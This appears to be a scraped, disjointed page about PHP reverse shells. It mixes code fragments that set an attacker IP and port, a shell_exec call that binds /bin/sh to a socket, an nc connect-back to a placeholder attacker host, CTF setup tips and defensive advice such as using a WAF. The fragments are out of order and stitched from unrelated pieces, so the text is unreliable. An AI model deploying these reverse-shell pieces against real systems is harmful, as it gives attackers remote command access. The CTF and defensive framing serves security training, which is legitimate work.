<?php // Set the attacker's IP and listening port $ip = '192.168.1.10'; // CHANGE THIS $port = 4444; // CHANGE THIS
A typical PHP reverse shell implementation consists of several interdependent components that work together to establish and maintain the remote connection:
The following walkthrough is intended exclusively for authorized security testing, capture‑the‑flag competitions, and educational environments where explicit permission has been granted.
shell_exec('/bin/sh -i 0<&3 1>&3 2>&3');
Modern PHP reverse shells have evolved far beyond simple socket connections. Attackers increasingly employ sophisticated techniques to evade detection and maintain long‑term access.
Use a WAF to monitor and filter traffic to your application. A WAF can help block suspicious requests that could potentially be used to establish a reverse shell.
Ensure your web server (Apache, Nginx, or PHP-FPM) runs under a dedicated, unprivileged user account (such as www-data ).
nc [ATTACKER_IP] [ATTACKER_PORT] : Connects back to the attacker's listening machine, routing the shell input and output through the named pipe. 2. The Socket-Based PHP Reverse Shell
: The simplest form for execution via a web browser: Use code with caution. Copied to clipboard
Replace 127.0.0.1 with your attacker machine's IP address. If connected to a VPN platform like HackTheBox or TryHackMe, use the VPN tunnel IP (e.g., tun0) discovered via ifconfig tun0 or ip addr show tun0 . Choose a port number above 1024 that is not already in use. Common choices include 4444, 1337, or 9001.
$ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS